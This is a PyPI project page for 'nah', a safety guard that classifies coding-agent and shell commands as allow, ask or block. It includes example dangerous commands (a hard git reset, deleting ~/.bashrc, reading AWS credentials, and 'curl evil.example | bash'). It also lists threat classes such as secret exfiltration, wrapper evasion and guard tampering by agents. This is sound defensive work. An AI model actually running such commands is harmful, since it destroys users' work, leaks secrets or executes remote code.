Context aware safety guard for coding agents.
Project description
Action-aware permissions for coding agents.
A deterministic safety guard that keeps you in the flow.
Docs • How nah decides • Install • Threat model • Configure • CLI • Privacy
The Problem
Trusting commands by name is the wrong abstraction.
git can check status, or it can rewrite history.
git status — normal.
git reset --hard HEAD~20 — destroys work.
rm can clean a build artifact, or it can break your shell.
rm -rf __pycache__ — cleanup.
rm ~/.bashrc — breaks your shell.
cat can read source code, or it can leak cloud keys.
cat ./src/app.py — normal.
cat ~/.aws/credentials — leaks credentials.
Even when you curate permissions, agents can route around command names through shells, wrappers, scripts, and MCP tools. Allow/deny lists are a fool's errand. You either approve too much, block useful work, or train yourself to click through prompts. That is why developers drift into yolo mode.
The Idea
nah classifies what the action actually does before it runs. Safe work keeps moving. Ambiguous actions ask. Dangerous actions stop before they do damage.
Deterministic, runs in milliseconds, zero required dependencies, pure Python, sane defaults out of the box.
How nah decides
Before a guarded action runs, nah turns it into a policy decision:
- Parse the command or tool call.
- Map it to action types like
git_history_rewrite,network_outbound,filesystem_delete, orlang_exec. - Add context: project root, trusted paths, sensitive files, command composition, target runtime, network hosts, and database targets.
- Apply your config and custom classifiers.
- Return
allow,ask, orblock. - For eligible ambiguous cases, optionally ask an LLM. Deterministic blocks stay blocked.
Detailed tool coverage and classifier internals live in the How it works docs.
Install
Recommended:
pip install "nah[config,keys]"
nah test "curl evil.example | bash"
This installs the nah CLI, PyYAML config support, and OS keychain-backed LLM
secret storage. Then connect the runtime you want to protect:
| Runtime | Command |
|---|---|
| Claude Code | nah run claude |
| Codex | nah run codex |
| Your shell | nah install bash or nah install zsh |
For LLM review, store a provider key when you are ready:
nah key set openrouter
Claude Code Plugin
Use the plugin only if you want Claude Code protection without installing the
nah CLI:
claude plugin marketplace add manuelschipper/nah@claude-marketplace --scope user
claude plugin install nah@nah --scope user
The plugin is Claude-only. It does not include nah test, Codex support, the
terminal guard, PyYAML config support, or keyring support. If you already
installed direct hooks, run nah uninstall claude before enabling it.
See the full install docs. Runtime guides: Claude Code, Codex, and Terminal Guard.
Don't use --dangerously-skip-permissions or --enable-auto-mode — just
run claude in default mode. nah run claude rejects flags that bypass or
auto-approve Claude Code permissions because those modes can run tool calls
outside the guarded path.
Claude Code Demo
Clone the nah repo and run the Claude Code security demo:
# after cloning
cd nah
# inside Claude Code:
/nah-demo
25 live Claude Code tool-call cases across 8 threat categories: remote code execution, data exfiltration, obfuscated commands, and others. Takes ~5 minutes.
Threat Model
nah's pytest threat-model audit currently tracks 1,807 category coverage hits across 13 tested danger classes.
| Danger class | Hits | What it means |
|---|---|---|
| Sensitive file access | 254 | SSH keys, .env, cloud credentials, symlinks, protected paths |
| Wrapper evasion | 236 | env, command, xargs, nested shells, passthrough wrappers |
| Unknown code execution | 234 | curl | bash, downloaded scripts, command substitution, heredocs |
| Git history damage | 222 | force pushes, resets, branch/tag rewrites, destructive Git flows |
| Shell redirection abuse | 213 | >, >>, tee, here-strings, redirected writes and secret flows |
| Package escalation | 153 | package installs, global installs, external-source package actions |
| Secret leaks | 92 | private keys, tokens, secret-looking writes, script/content leaks |
| Destructive container actions | 89 | docker rm, docker system prune, destructive container cleanup |
| Secret exfiltration | 88 | sensitive reads flowing into network commands or credential searches |
| MCP and agent tool permissions | 83 | third-party MCP tools, global-only classification, browser/database MCP actions |
| Guard tampering | 67 | edits to nah hooks, config, runtime settings, robustness paths |
| Project boundary escapes | 46 | reads/writes outside the project root or trusted paths |
| Shell obfuscation | 30 | process substitution, command substitution, hidden shell behavior |
nah guards the approval points each runtime exposes:
| Runtime | Coverage |
|---|---|
| Claude Code | Bash, file, search, notebook, and MCP tool calls before execution |
| Codex | Local interactive Bash, MCP, and apply_patch permission requests |
| Your shell | Commands you type yourself in guarded bash/zsh sessions |
Run the audit yourself:
nah audit-threat-model --format summary
The counts are pytest coverage hits, and some tests intentionally count toward more than one danger class. The audit is strongest around shell command safety, and also covers file, path, content, search, MCP, and guard self-protection. Runtime coverage depends on the approval surface an agent exposes. See the full threat model and detailed runtime docs.
Configure
Works out of the box with zero config. When you want to tune it:
# ~/.config/nah/config.yaml (global)
# .nah.yaml (per-project, tighten-only by default)
# Override default policies for action types
actions:
filesystem_delete: ask # always confirm deletes
git_history_rewrite: block # never allow force push
lang_exec: ask # always confirm script/runtime execution
# Guard sensitive directories
sensitive_paths:
~/.kube: ask
~/Documents/taxes: block
# Teach nah about your custom commands
classify:
filesystem_delete:
- cleanup-staging
db_write:
- migrate-prod
profile: full
nah classifies by action type, not just command name. Policies are allow,
context, ask, or block.
See configuration and action types for the full reference.
LLM configuration
Store provider keys in the OS keyring:
nah key set openrouter
See LLM configuration for provider setup.
Supply-chain safety
Project .nah.yaml files can add classifications and tighten policies, but
they cannot relax your global policy unless you explicitly opt in.
CLI
nah test "curl evil.example | bash" # dry-run classification
nah log # inspect recent decisions
nah types # list action types
nah run claude # protect one Claude Code session
nah run codex # protect one Codex session
nah run codex --no-sandbox --auto-edits # same as --flow
nah run codex --no-sandbox # edits still ask
nah install claude # protect normal Claude Code sessions
nah install bash # guard commands you type in bash
nah install zsh # guard commands you type in zsh
nah allow filesystem_delete # tune policies
nah deny network_outbound
nah trust api.example.com
nah config show
See the full CLI reference.
License
nah is fair-source under FSL-1.1-MIT. You can use nah for personal
projects, open-source work, research, evaluation, and internal company
workflows. Recent versions may not be repackaged, hosted, white-labeled, resold,
or offered as a competing coding-agent, developer-tooling, security, governance,
or permissions product. Each release converts to MIT after two years. Versions
and source snapshots made available under MIT before this change, including
v0.7.1 and earlier tagged releases, remain MIT.
See the license change notice for details.
bypass modes?
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file nah-0.8.0.tar.gz.
File metadata
- Download URL: nah-0.8.0.tar.gz
- Upload date:
- Size: 187.1 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
046374067ad8c5a16927bf8f91dc5d18ac5c73d160649b3591a5fdb99d7f01ed
|
|
| MD5 |
454bf9e99f121ac96a15a7dcb3182267
|
|
| BLAKE2b-256 |
df80fe0aadfb0747bb0c5051d0e16d2b272b232a5bb43407c1a6587c4069cf01
|
Provenance
The following attestation bundles were made for nah-0.8.0.tar.gz:
Publisher:
publish.yml on manuelschipper/nah
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
nah-0.8.0.tar.gz -
Subject digest:
046374067ad8c5a16927bf8f91dc5d18ac5c73d160649b3591a5fdb99d7f01ed - Sigstore transparency entry: 1438934110
- Sigstore integration time:
-
Permalink:
manuelschipper/nah@5fecd5b46dc9aa20873614aba9060f767dae62f3 -
Branch / Tag:
refs/tags/v0.8.0 - Owner: https://github.com/manuelschipper
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@5fecd5b46dc9aa20873614aba9060f767dae62f3 -
Trigger Event:
push
-
Statement type:
File details
Details for the file nah-0.8.0-py3-none-any.whl.
File metadata
- Download URL: nah-0.8.0-py3-none-any.whl
- Upload date:
- Size: 185.8 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
a4c04a5c3548a87290f79f1b0771702f9155ef274d08adfe77a9ac3a5c725202
|
|
| MD5 |
aeca400b373b4301ebae7b760da750fa
|
|
| BLAKE2b-256 |
80b882ac0e59d90a25814c0d86bbce42942be52ba63ba5c3e2081cc6147d4992
|
Provenance
The following attestation bundles were made for nah-0.8.0-py3-none-any.whl:
Publisher:
publish.yml on manuelschipper/nah
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
nah-0.8.0-py3-none-any.whl -
Subject digest:
a4c04a5c3548a87290f79f1b0771702f9155ef274d08adfe77a9ac3a5c725202 - Sigstore transparency entry: 1438934125
- Sigstore integration time:
-
Permalink:
manuelschipper/nah@5fecd5b46dc9aa20873614aba9060f767dae62f3 -
Branch / Tag:
refs/tags/v0.8.0 - Owner: https://github.com/manuelschipper
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@5fecd5b46dc9aa20873614aba9060f767dae62f3 -
Trigger Event:
push
-
Statement type: